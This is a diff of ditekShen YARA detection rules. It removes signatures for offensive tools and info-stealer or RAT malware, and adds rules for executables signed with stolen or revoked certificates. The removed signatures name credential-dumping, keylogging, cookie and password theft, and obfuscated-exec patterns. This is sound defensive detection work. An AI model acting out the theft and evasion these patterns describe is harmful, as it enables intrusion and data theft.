-		$s11 = { 53 4d 42 72 00 00 00 00 18 01 48 00 00 00 00 00
-               00 00 00 00 00 00 00 ff ff ac 7b 00 00 00 00 00
-               22 00 02 4e 54 20 4c 4d 20 30 2e 31 32 00 02 53
-               4d 42 20 32 2e 30 30 32 00 02 53 4d 42 20 32 2e
-               3f 3f 3f 00 00 00 00 00 00 00 00 00 00 00 68 fe
-               53 4d 42 40 }
-		$o1 = { 44 8b 4c 24 34 48 8d 44 24 38 48 89 44 24 28 4c }
-		$o2 = { e8 c4 ff ff ff 33 d2 48 8d 4d f0 41 b8 d0 04 00 }
-		$o3 = { 83 7b 0c 00 75 42 8b 03 25 ff ff ff 1f 3d 21 05 }
-		$o4 = { 3c 68 74 6c 3c 6a 74 5c 3c 6c 74 34 3c 74 74 24 }
-		$o5 = { e9 39 ff ff ff cc 48 89 5c 24 08 4c 89 4c 24 20 }
-		$o6 = { 48 b9 ff ff ff ff ff ff 0f 00 48 8b c2 41 b8 0c }
+		thumbprint = "d1f9930521e172526a9f018471d4575d60d8ad8f"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or (1 of ($x*) and 5 of ($s*)) or 8 of ($s*) or (4 of ($o*) and (1 of ($x*) or 5 of ($s*))))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MISTO EKONOMSKE STORITVE, d.o.o." and pe.signatures[i].serial=="00:92:bc:05:1f:18:11:bb:0b:86:72:7c:36:39:4f:78:49")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOLS_Edrsandblast : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_B4F42E2C153C904Fda64C957Ed7E1028 : FILE
 {
 	meta:
-		description = "Detects EDRSandBlast"
-		author = "ditekShen"
-		id = "85d6d82b-a30e-5c79-93e7-8a3bbbf4a403"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "d284b7f0-9728-5755-87d5-f8251903e778"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1809-L1831"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2796-L2807"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9b801f053e42fbd646cf62fecf6cbf5f2cceeec82bed93ecd8625984eccb08c6"
+		logic_hash = "d47f85602234eae7629b778b09ed5c3656c6afa8b6a7ba42cc46f451202a16c0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "credguard" fullword wide
-		$s2 = "\\cmd.exe" fullword wide
-		$s3 = "ci_%s.dll" fullword wide
-		$s4 = "cmd /c sc" wide
-		$s5 = "fltmgr_%s.sys" fullword wide
-		$s6 = "ntoskrnl_%s.exe" fullword wide
-		$s7 = "ProductDir" fullword wide
-		$s8 = "lsass.exe" fullword wide
-		$s9 = "0x%p;%ws;%ws;;;" ascii
-		$s10 = "MiniDumpWriteDump" ascii
-		$s11 = "EDRSB_Init: %u" ascii
-		$s12 = "ntoskrnloffsets.csv" fullword wide nocase
-		$s13 = "wdigestoffsets.csv" fullword wide nocase
-		$o1 = { eb 0e 8b 85 34 15 00 00 ff c0 89 85 34 15 00 00 }
-		$o2 = { 74 48 8b 85 34 15 00 00 41 b9 04 01 00 00 4c 8d }
+		thumbprint = "ed4c50ab4f173cf46386a73226fa4dac9cadc1c4"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 7 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "NONO spol. s r.o." and pe.signatures[i].serial=="b4:f4:2e:2c:15:3c:90:4f:da:64:c9:57:ed:7e:10:28")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOLS_Rsockstun : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Ac307E5257Bb814B818D3633B630326F : FILE
 {
 	meta:
-		description = "Detects rsockstun"
-		author = "ditekShen"
-		id = "a284a607-abea-5914-ad3a-84eaff733ee0"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "b6d6c195-cd02-5ecd-82f3-348ab6f26eb5"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1833-L1845"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2809-L2820"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4ad0ac389bf8961b0dd987a72d5dd534e5e3cc673f0e07aa49d39d1fd3f5f53e"
+		logic_hash = "f187d3084eb189cdd0e858aed1d9589d586f369b128679c6c1dec860e544f326"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "main.connectviaproxy" ascii
-		$s2 = "main.connectForSocks" ascii
-		$s3 = "main.listenForClients" ascii
-		$s4 = "main.listenForSocks" ascii
-		$s5 = "Proxy-Authorization: NTLM TlRMTVNTUAABAAAABoIIAAAAAAAAAAAAAAAAAAAAAAA=" ascii
+		thumbprint = "4d6a089ec4edcac438717c1d64a8be4ef925a9c6"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0x457f) and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Aqua Direct s.r.o." and pe.signatures[i].serial=="00:ac:30:7e:52:57:bb:81:4b:81:8d:36:33:b6:30:32:6f")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Scmaldevinj_Go : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_063A7D09107Eddd8Aa1F733634C6591B : FILE
 {
 	meta:
-		description = "Detects Go shell/malware dev injector"
-		author = "ditekShen"
-		id = "56ec114f-8e16-5ab6-ae3b-a182cb381b4a"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "489daa61-8409-500d-bc46-a42a444fcdc0"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1847-L1857"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2822-L2833"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "48c3c759283c63a0c439cfba0194da89f402189e4c3cd831c22b5078ccae47b1"
+		logic_hash = "8b6c1935d51207e6b9919c85d369dcc6963f52ee4d21758d18e2c57115e9051b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "hooka/shellcode.go" ascii
-		$s2 = "/maldev\x09v" ascii
-		$s3 = "Binject/debug/pe." ascii
+		thumbprint = "a03f9b3f3eb30ac511463b24f2e59e89ee4c6d4a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Smart Line Logistics" and pe.signatures[i].serial=="06:3a:7d:09:10:7e:dd:d8:aa:1f:73:36:34:c6:59:1b")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Reversessh_Go : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_4C687A0022C36F89E253F91D1F6954E2 : FILE
 {
 	meta:
-		description = "Detects golang reverse ssh tool"
-		author = "ditekShen"
-		id = "4fb671aa-ad42-5f7e-bd5a-c19f018088c9"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		author = "ditekSHen"
+		id = "d4b03832-60f2-5342-8186-3e6c3d7eeb63"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1859-L1868"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2835-L2846"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4f9899aacc09c7da05fb5d412cfe8e91ee0d8e922189a6f921410d73ae8b3a9c"
+		logic_hash = "0bcbe8c85f02735378b5be95c098ca5088f451e390ec6ce76fb732f0db297c1f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "/reverse_ssh/" ascii
-		$s2 = "main.rsshService" ascii
+		thumbprint = "4412007ae212d12cea36ed56985bd762bd9fb54a"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "HETCO ApS" and pe.signatures[i].serial=="4c:68:7a:00:22:c3:6f:89:e2:53:f9:1d:1f:69:54:e2")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_Sharpghosttask : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3Cee26C125B8C188F316C3Fa78D9C2F1 : FILE
 {
 	meta:
-		description = "Detects SharpGhostTask"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "84d71179-0cfd-5389-b6bd-92c292361b3c"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "d9271a74-1a04-5863-afc6-4b1d2982f680"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L1870-L1881"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2848-L2859"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3de8d9fe7804e208ff556b6bedbd80eebfda1a730626403418a555ad9fbbb820"
+		logic_hash = "673a275a6d899b5de66d80cb55fa6438c2e14c70a96ba8461eb4946e1f4b4dfa"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "Ghosted" wide
-		$x2 = /--target(binary|task)/ fullword wide
-		$x3 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\T" wide nocase
-		$s4 = "__GhostTask|" ascii
+		thumbprint = "9efcf68a289d9186ec17e334205cb644c2b6a147"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bitubit LLC" and pe.signatures[i].serial=="3c:ee:26:c1:25:b8:c1:88:f3:16:c3:fa:78:d9:c2:f1")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_JAVA_Packed_Allatori
+rule DITEKSHEN_INDICATOR_KB_CERT_A0A27Aefd067Ac62Ce0247B72Bf33De3 : FILE
 {
 	meta:
-		description = "Detects files packed with Allatori Java Obfuscator"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "16b9f455-ba73-5f09-9822-8349c53fa965"
-		date = "2023-08-29"
-		modified = "2023-08-29"
+		id = "1e8db3c4-8d32-5a8d-96ac-785d8f703c7d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_packed.yar#L113-L121"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2861-L2872"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ac48a573eb9d9fffe38d09993ff062f308edb07b8a7498e332cc3eb501d48db7"
+		logic_hash = "c49e1d8b1a2d0e27fd25574ce587f60770ecac75c1db437bf7538d2ff47c8d4c"
 		score = 75
 		quality = 75
-		tags = ""
+		tags = "FILE"
+		thumbprint = "42c2842fa674fdca14c9786aaec0c3078a4f1755"
 		importance = 20
 
-	strings:
-		$s1 = "# Obfuscation by Allatori Obfuscator" ascii wide
-
 	condition:
-		all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cfbcdabfdbdccaaccadfeaacacf" and pe.signatures[i].serial=="a0:a2:7a:ef:d0:67:ac:62:ce:02:47:b7:2b:f3:3d:e3")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_EXE_Python_Byte_Compiled : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Eee8Cf0A0E4C78Faa03D07470161A90E : FILE
 {
 	meta:
-		description = "Detects python-byte compiled executables"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "04ae604c-6176-54cf-98e9-4386e52420f8"
-		date = "2023-08-29"
-		modified = "2023-08-29"
+		id = "a91c84db-99b4-5e24-ba8a-4e009219eb05"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_packed.yar#L211-L220"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2874-L2885"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "212d525509a4d8fb7f1b5efa929526c8758549bfdb8591c88ce602315e6b3147"
+		logic_hash = "5c14eeeab8cf9797499d23f451a695b443ecc8d3ebbc2edb830ae450e444178c"
 		score = 75
 		quality = 75
 		tags = "FILE"
+		thumbprint = "32eda5261359e76a4e66da1ba82db7b7a48295d2"
 		importance = 20
 
-	strings:
-		$s1 = "b64decode" ascii
-		$s2 = "decompress" ascii
-
 	condition:
-		uint32(0)==0x0a0df303 and filesize <5KB and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Aafabffdbdbcbfcaebdf" and pe.signatures[i].serial=="ee:e8:cf:0a:0e:4c:78:fa:a0:3d:07:47:01:61:a9:0e")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_MSI_EXE2MSI : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_79E1Cc0F6722E1A2C4647C21023Ca4Ee : FILE
 {
 	meta:
-		description = "Detects executables converted to .MSI packages using a free online converter."
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "039df7b6-e4bf-5537-ae5b-f2168044e77e"
-		date = "2023-08-29"
-		modified = "2023-08-29"
+		id = "0abbd882-0224-5c94-98b2-870853344883"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_packed.yar#L222-L233"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2887-L2898"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "afd48b54766600805ae1aeef13b11de4ca160ea1f96419a4090ab9dae55fa4cd"
+		logic_hash = "9d0c02ae3eab7f7c28dba04cd08fdddef2be64a1622d7fb519a4bf3a40ef19b1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort2_sid = "930061-930063"
-		snort3_sid = "930022"
+		thumbprint = "41d2f4f810a6edf42b3717cf01d4975476f63cba"
 		importance = 20
 
-	strings:
-		$winin = "Windows Installer" ascii
-		$title = "Exe to msi converter free" ascii
-
 	condition:
-		uint32(0)==0xe011cfd0 and ($winin and $title)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SPAGETTI LTD" and pe.signatures[i].serial=="79:e1:cc:0f:67:22:e1:a2:c4:64:7c:21:02:3c:a4:ee")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_PY_Packed_Pyminifier : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_6D688Ecf46286Fe4B6823B91384Eca86 : FILE
 {
 	meta:
-		description = "Detects python code potentially obfuscated using PyMinifier"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "a111c116-a2b3-5689-8d44-221adf37e932"
-		date = "2023-08-29"
-		modified = "2023-08-29"
+		id = "4718996b-cb42-5b83-8fdf-d87751302a00"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_packed.yar#L331-L339"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2900-L2911"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c7e916906d4654215de6d12e1bff790f24bcf69e97a7e5314a2a057a91b135a3"
+		logic_hash = "33296b5b9156af6d95bec9981a9fab3137bcd17bfb26ea2d212ae004275bf42e"
 		score = 75
 		quality = 75
 		tags = "FILE"
+		thumbprint = "970205140b48d684d0dc737c0fe127460ccfac4f"
 		importance = 20
 
-	strings:
-		$s1 = "exec(lzma.decompress(base64.b64decode("
-
 	condition:
-		( uint32(0)==0x6f706d69 or uint16(0)==0x2123 or uint16(0)==0x0a0d or uint16(0)==0x5a4d) and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AtomPark Software JSC" and pe.signatures[i].serial=="6d:68:8e:cf:46:28:6f:e4:b6:82:3b:91:38:4e:ca:86")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Laturo : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_9Aa99F1B75A463460D38C4539Fae4F73 : FILE
 {
 	meta:
-		description = "Laturo information stealer payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "221a1ee8-e1ae-558c-919c-e3f55c1500f0"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "5ffad411-49e2-5691-95e7-1e294a2a101e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3-L26"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2913-L2924"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "bfb0c5676c926f58a4395a56dad09b37e8ac1cf0bf6b5521767c16698644b73a"
+		logic_hash = "b73c6ca2c0cd0e09f0add77c3af3c8e16f46cec29b49d4dcab5a569fed8d3d39"
 		score = 75
-		quality = 61
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.Laturo"
-
-	strings:
-		$str1 = "cmd.exe /c ping 127.0.0.1" ascii wide
-		$str2 = "cmd.exe /c start" ascii wide
-		$str3 = "\\RapidLoader\\" ascii
-		$str4 = "loader/gate.php" ascii wide
-		$str5 = "Hwid:" ascii wide
-		$str6 = "Special:" ascii wide
-		$str7 = "logs=%s" ascii
-		$data1 = "cookies.%u.txt" nocase ascii wide
-		$data2 = "passwords.%u.txt" nocase ascii wide
-		$data3 = "credentials.%u.txt" nocase ascii wide
-		$data4 = "cards.%u.txt" nocase ascii wide
-		$data5 = "autofill.%u.txt" nocase ascii wide
-		$data6 = "loginusers.vdf" ascii wide
-		$data7 = "screenshot.bmp" nocase ascii wide
-		$data8 = "webcam.bmp" nocase ascii wide
+		thumbprint = "b2ea9e771631f95a927c29b044284ef4f84a2069"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of ($str*) and 1 of ($data*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Beaacdfaeeccbbedadcb" and pe.signatures[i].serial=="9a:a9:9f:1b:75:a4:63:46:0d:38:c4:53:9f:ae:4f:73")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Xpertrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_E414655F025399Cca4D7225D89689A04 : FILE
 {
 	meta:
-		description = "XpertRAT payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "cea7de47-b47c-5fea-96ee-5858b16cca8d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2df4eb66-4890-540f-95e1-fb69eeb32df2"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L28-L56"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2926-L2937"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2a521bd1d6ce16fa16aa7757db2657dcab15e6802454ad899906d4ed17401feb"
+		logic_hash = "589ad4939d235138791a98f5d43f6a786ad14345c995ad2e073d3673fb41365a"
 		score = 75
-		quality = 63
+		quality = 75
 		tags = "FILE"
-		snort_sid = "920003-920006"
-		clamav_sig = "MALWARE.Win.Trojan.XpertRAT"
-
-	strings:
-		$v1 = "[XpertRAT-Mutex]" fullword wide
-		$v2 = "XPERTPLUGIN" fullword wide
-		$v3 = "+Xpert+3." wide
-		$v4 = "keylog.tmp" fullword wide
-		$v5 = "\\TempReg.reg" fullword wide
-		$s1 = "ClsKeylogger" fullword ascii nocase
-		$s2 = "clsCamShot" fullword ascii nocase
-		$s3 = "ClsShellCommand" fullword ascii nocase
-		$s4 = "ClsRemoteDesktop" fullword ascii nocase
-		$s5 = "ClsScreenRemote" fullword ascii nocase
-		$s6 = "ClsSoundRemote" fullword ascii nocase
-		$s7 = "MdlHidder" fullword ascii
-		$s8 = "modKeylog" fullword ascii
-		$s9 = "modWipe" fullword ascii
-		$s10 = "modDelProcInUse" fullword ascii
-		$s11 = "Socket_DataArrival" fullword ascii
-		$s12 = "cZip_EndCompress" fullword ascii
+		thumbprint = "98643cef3dc22d0cc730be710c5a30ae25d226c1"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($v*) or 6 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE6\\xAF\\x94\\xE5\\x90\\xBE\\xE8\\xBF\\xAA\\xE5\\x90\\xBE\\xE8\\xBF\\xAA\\xE4\\xBC\\x8A\\xE4\\xBC\\x8A\\xE8\\xBF\\xAA\\xE5\\x90\\xBE\\xE5\\x90\\xBE\\xE4\\xBC\\x8A\\xE4\\xBC\\x8A\\xE6\\x8F\\x90\\xE4\\xBC\\x8A\\xE6\\xAF\\x94\\xE6\\x8F\\x90\\xE8\\xBF\\xAA\\xE8\\xBF\\xAA\\xE4\\xBC\\x8A\\xE4\\xBC\\x8A\\xE4\\xBC\\x8A\\xE6\\x8F\\x90\\xE7\\xBB\\xB4\\xE6\\xAF\\x94" and pe.signatures[i].serial=="e4:14:65:5f:02:53:99:cc:a4:d7:22:5d:89:68:9a:04")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Isrstealer : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_64F82Ed8A90F92A940Be2Bb90Fbf6F48 : FILE
 {
 	meta:
-		description = "ISRStealer payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d6c3acdd-e881-5f97-8856-b7b60f56a1c2"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "70469507-30f1-56be-90bb-1055f7df2496"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L112-L128"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2939-L2950"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5dd030ab8122b5dd432168647c7a3465cb3593a326f68b4863a91d16587641e5"
+		logic_hash = "eacb9d8834bdf618b5aa44bfb37b0b6413f9b4595b6261a948566a63e9855162"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.ISRStealer"
-
-	strings:
-		$s1 = "&password=" wide
-		$s2 = "&pcname=" wide
-		$s3 = "MSVBVM60.DLL" ascii
-		$s4 = "MSVBVM60.DLL" wide
-		$s5 = "Core Software For : Public" wide
-		$s6 = "</Host>" wide
-		$s7 = "</Pass>" wide
-		$s8 = "/scomma" wide
+		thumbprint = "4d00f5112caf80615852ffe1f4ee72277ed781c3"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <4000KB and 6 of them ) or all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Klimate Vision Plus" and pe.signatures[i].serial=="64:f8:2e:d8:a9:0f:92:a9:40:be:2b:b9:0f:bf:6f:48")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Quasarrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00F0031491B673Ecdf533D4Ebe4B54697F : FILE
 {
 	meta:
-		description = "QuasarRAT payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "f256b88f-eee6-5f8c-afd6-32ed10ea908d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "ad027dc9-14bc-50dd-b260-7672c528ef9a"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L130-L150"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2952-L2963"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "556b19dc0980761198ea31a285f281adae084463d24bff1eda15326436ad562b"
+		logic_hash = "4697ce0a7fcd1fa6ac1dd5246f2a23b85865bef4010280c4ca2e12c433b8ceb2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "GetKeyloggerLogsResponse" fullword ascii
-		$s2 = "GetKeyloggerLogs" fullword ascii
-		$s3 = "/>Log created on" wide
-		$s4 = "User: {0}{3}Pass: {1}{3}Host: {2}" wide
-		$s5 = "Domain: {1}{0}Cookie Name: {2}{0}Value: {3}{0}Path: {4}{0}Expired: {5}{0}HttpOnly: {6}{0}Secure: {7}" wide
-		$s6 = "grabber_" wide
-		$s7 = "<virtualKeyCode>" ascii
-		$s8 = "<RunHidden>k__BackingField" fullword ascii
-		$s9 = "<keyboardHookStruct>" ascii
-		$s10 = "add_OnHotKeysDown" ascii
-		$mutex = "QSR_MUTEX_" ascii wide
-		$ua1 = "Mozilla/5.0 (Windows NT 6.3; rv:48.0) Gecko/20100101 Firefox/48.0" fullword wide
-		$us2 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A" fullword wide
+		thumbprint = "01e201cce1024237978baccf5b124261aa5edb01"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ($mutex or ( all of ($ua*) and 2 of them ) or 6 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Eebbffbceacddbfaeefaecdbaf" and pe.signatures[i].serial=="00:f0:03:14:91:b6:73:ec:df:53:3d:4e:be:4b:54:69:7f")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Limerat : FILE
